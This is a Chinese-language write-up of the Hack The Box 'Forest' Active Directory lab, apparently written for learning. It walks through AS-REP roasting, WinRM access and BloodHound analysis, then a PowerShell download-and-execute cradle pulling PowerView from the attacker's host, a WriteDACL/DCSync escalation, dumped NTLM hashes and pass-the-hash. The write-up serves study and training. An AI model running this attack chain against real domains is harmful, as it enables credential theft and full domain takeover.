0x00前言
本小白最近在学域渗透,决定把Hack The Box的Active Directory 101 系列域渗透靶机打完,并详细记录当中用到的工具、知识点及其背后的原理。本篇文章是该系列的第一篇,靶机名字为Forest
0x01信息搜集
首先我们使用nmap来进行端口与服务的发现
nmap -sC -sV -p- 10.10.10.161 -oA nmap——forest
Nmap scan report for 10.10.10.161
Host is up (0.31s latency).
Not shown: 65512 closed ports
PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-10-07 05:42:50Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49684/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/7%Time=633FBAC8%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h26m47s, deviation: 4h02m30s, median: 6m46s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2022-10-06T22:45:15-07:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2022-10-07T05:45:19
|_ start_date: 2022-10-07T05:11:07
通过以上nmap的扫描结果,我发现了一些可能对进一步渗透有用的端口与服务
Kerberos (88/TCP)— Windows Kerberos 协议服务,可用于枚举AD 信息
LDAP (389/TCP)— 活动目录 LDAP。LDAP 通常提供有关 AD 的详细信息。而如果允许匿名绑定,我们可以查询到很多好的AD信息,比如用户信息。
SMB (445/TCP)— Windows 服务器消息块 (“SMB”) 协议。对于 SMB,最好检查它是否允许空会话。如果允许我们可以枚举许多有用的 AD 信息。
WinRM (5985/TCP)— WS-Management 协议的 Microsoft 实现。这可以允许通过 PowerShell 进行远程连接。
**RPC(135/RPC)**可用于枚举AD 信息
Kerberos用户枚举
kerbrute工具介绍:
**简介:**一种通过 Kerberos 预身份验证快速暴力破解和枚举有效 Active Directory 帐户的工具
**链接:**https://github.com/ropnop/kerbrute
**用法:**
Kerbrute 具有四个主要命令:
bruteuser - 从单词列表中暴力破解单个用户的密码
bruteforce - 从文件或标准输入中读取 用户名:密码 组合并测试它们
passwordspray - 针对用户列表测试单个密码
userenum - 通过 Kerberos 枚举有效的域用户名
必须指定域 ( -d) 或域控制器 ( )。--dc如果没有给定域控制器,则将通过 DNS 查找 KDC。
默认情况下,Kerbrute 是多线程的,使用 10 个线程。这可以通过-t选项进行更改。
输出记录到标准输出,但可以使用-o.
kerbrute实现爆破用户名的原理:为了枚举用户名,Kerbrute 发送没有预认证的 TGT 请求。如果 KDC 响应`PRINCIPAL UNKNOWN`错误,则用户名不存在。但是,如果 KDC 提示进行预身份验证,我们知道用户名存在并且我们继续。这不会导致任何登录失败,因此不会锁定任何帐户。
kerbrute_linux_amd64 userenum --dc 10.10.10.161 -d htb.local /usr/share/seclists/Usernames/top-usernames-shortlist.txt
这里只枚举到了admin用户,没什么用。
RPC用户枚举
#RPC测试
rpcclient -U "" 10.10.10.161 建立连接
enumdomusers 枚举用户
tips:空身份验证有助于在使用时枚举域和用户,这是 Windows Server 2003 和 2008 中的一项功能。在以后的版本中,它在进行全新安装时被删除。从以前版本的 Windows Server 升级时,该功能不会被禁用,因为用户可能正在使用此功能。
Ldap用户枚举
ldapsearch -x -b "DC=htb,DC=local" -s base -h 10.10.10.161
经过对枚举结果的筛选后发现如下用户名
sebastien
lucinda
svc-alfresco
andy
mark
santi
拿之前的kerbrute测试一下,发现该用户确实存在
kerbrute_linux_amd64 userenum --dc 10.10.10.161 -d htb.local user
0x02AS-REP Roasting
因为在设置svc-alfresco用户后,该用户不可以开预认证,因此我们可以直接拿到其TGT
GetNPUsers.py -dc-ip 10.10.10.161 htb.local/svc-alfresco -request
GetNPUsers.py -dc-ip 10.10.10.161 htb.local/svc-alfresco -request -format hashcat
此时我们已经拿到了svc-alfresco用户的TGT票据,那么接下来我们可以尝试进行AS-REP Roasting,把获取到的hash保存下来,进行离线破解。
创建一个文件名为hash的文件,把获取到的hash复制进去
hashcat --example-hashes |grep kr5asrep -A5 -B5
hashcat -m 18200 hash /root/rockyou.txt --force
这时候我们就有了svc用户的明文密码:s3rvice 我们可以利用得到的账号密码通过wsman登录
我这里用 evil-winrm来进行登录
evil-winrm -u svc-alfresco -p s3rvice -i 10.10.10.161
0x03Bloodhound 信息搜集
#Bloodhound的安装及使用,我这里描述的是KALI2020的安装过程
apt-get install bloodhound
neo4j start
访问http://localhost:7474 输入neo4j neo4j 作为账号密码,修改默认密码为自己定义的密码
./bloodhound
输入neo4j作为账号 还有自己自定义的密码就可以成功登入后台了。
SharpHound.exe下载链接:https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors
接着将SharpHound上传到目标机器并运行,即可得到一个zip文件,该文件里面就是信息搜集的结果,我们将它下载到本地
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> upload SharpHound.exe
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> ./sharphound.exe
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> download 20221007230250_BloodHound.zip
登录到Bloodhound的后台,然后在后台右边栏,点击upload data 选中20221007230250_BloodHound.zip文件,上传完即可看到分析结果
0x04滥用writeDACL 权限进行DCsync攻击实现权限提升
通过搜索“svc-alfresco”用户,我发现实际上该用户属于 Account Operators 组,该组是AD中的特权组之一,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。但是,不能更改属于Administrators或Domain Admins组的账号,也不能更改这些组。
通过下图我们可以看到从 svc-alfresco 到 Domain Admins 的路径,我们在下图中的发现exchange windows permission组完全信任Account Operators 组,因此我们可以利用Account Operators 组的权限创建一个新用户,然后把他添加到exchange windows permission组,这样我们就可以对HTB.LOCAL进行一些操作了,我们看到exchange windows permission组的成员对htb.local用有writeDACL权限, 然后我们可以利用我们新添加的用户对HTB.LOCAL的 writeDACL权限进行恶意利用,进而实现权限提升,接下来我将详细将一下该攻击过程的原理。
默认情况下,Exchange Windows Permissions
安全组对安装 Exchange 的域的域对象具有 writeDACL 权限。
writeDACL 权限允许身份修改指定对象的权限(换句话说:修改 ACL),这意味着通过成为组织管理组的成员,我们能够将权限提升到域管理员的权限。
为了利用这一点,我们将新创建的用户帐户添加到该Exchange Windows Permission
组中。Exchange Windows Permission
组的成员,这允许我们修改HTB.LOCAL域的 ACL。
net user test123 test123! /add /domain
net group #该命令的结果中找到了Exchange Windows Permissions组
net group 'Exchange Windows Permissions' test123 /add /domain
net localgroup #在该命令的结果中发现了Remote Management Users组
net localgroup 'Remote Management Users' test123 /add
如果我们有权修改 AD 对象的 ACL,则可以将权限分配给允许他们写入特定属性(例如包含电话号码的属性)的身份。除了为这些属性分配读/写权限外,还可以为扩展权限分配权限。这些权限是预定义的任务,例如更改密码、向邮箱发送电子邮件等权限2。通过应用以下扩展权限,还可以将任何给定帐户添加为域的复制伙伴:
复制目录更改(DS-Replication-Get-Changes)
全部复制目录更改 (DS-Replication-Get-Changes-All )
当我们为我们的用户帐户设置这些权限时,我们能够请求域中任何用户的密码哈希,那么具体如何获取的呢?
这里就涉及到一个知识点叫AD的复制技术:
域控制器(DC)是Active Directory(AD)域的支柱,用于高效的管理域内用户,所以在企业当中,为了防止DC出现意外导致域内瘫痪,所以都是要布置多台域控作为AD域的备份,或者是部署多台域控制器,方便在站点位置本地提供身份验证和其他策略。当企业内网当做部署了多台域控制器后,一台域控进行了数据的更改之后,需要与其他域控进行数据的同步,而这个同步是通过Microsoft的远程目录复制服务协议 (MS-DRSR),该协议是基于MSRPC / DCE/RPC )进行的。并且其 DRS 的 Microsoft API 是DRSUAPI(这个在后面抓包可以看到)。。在不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。
我们都知道,在域内用户所具有的权限其实最根本是看用户的DACL,那么对于DCSync攻击来说,只要域用户拥有以下条DACL即可向域控发出数据同步请求,从而dump去域内用户hash,这两条DACL分别为:
复制目录更改(DS-Replication-Get-Changes)
全部复制目录更改 (DS-Replication-Get-Changes-All )
注:默认本地管理员、域管理员或企业管理员以及域控制器计算机帐户的成员默认具有上述权限,注意,默认情况下,DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的。
原理讲的差不多了,接下来开始操作,首先通过winRM登录到我们刚创建的新用户上
root@kali2020:~#python -m http.server 80
root@kali2020:~#evil-winrm -u test123 -p test123! -i 10.10.10.161
*Evil-WinRM* PS C:\Users\test123\Documents>powershell -nop -exec bypass -c "iex(New-Object Net.webclient).downloadstring('http://10.10.16.12/PowerView.ps1')"
*Evil-WinRM* PS C:\Users\test123\Documents>Add-DomainObjectAcl -PrincipalIdentity 'test123' -TargetIdentity 'DC=htb,DC=local' -Rights DCSync
此时,我们就可以使用升级后的权限,我们可以使用secretsdump.py工具执行 DCSync 以转储“管理员”用户的 NTLM 哈希
root@kali2020:~# secretsdump.py test123:'test123!'@10.10.10.161
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
...
...
...
[*] Cleaning up...
既然拿到了管理员的hash,那么我们就可以通过wmiexec直接登录到该账户了
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local/administrator@10.10.10.161
我们可以看到此时已经拿到了域管的权限
0x05总结
本篇文章到这里就结束了,这里做个简单的总结,首先通过对各个开放服务的枚举发现了svc-alfresco用户,然后使用了AS-REP Roasting技术获得了该用户的TGT票据,由于该用户的密码是弱密码,我们通过使用hashcat破解了其hash拿到明文密码,然后又通过WinRM成功登陆到了用户svc-alfresco。接着我们在目标机器上使用了SharpHound进行了域内的信息搜集,通过BloodHound分析收集到的域内信息。经过分析后发现当前用户所处组为Account Operators 组,该组被Exchange Windows Permissions组完全信任,所以我们新建了用户并将其添加到了该用户组,又因为,Exchange Windows Permissions组对HTB.LOCAL有WriteDACL权限,我们对其使用了DCsync攻击,成功获取到了管理员的hash,最终通过wmiexec哈希传递拿到了管理员权限。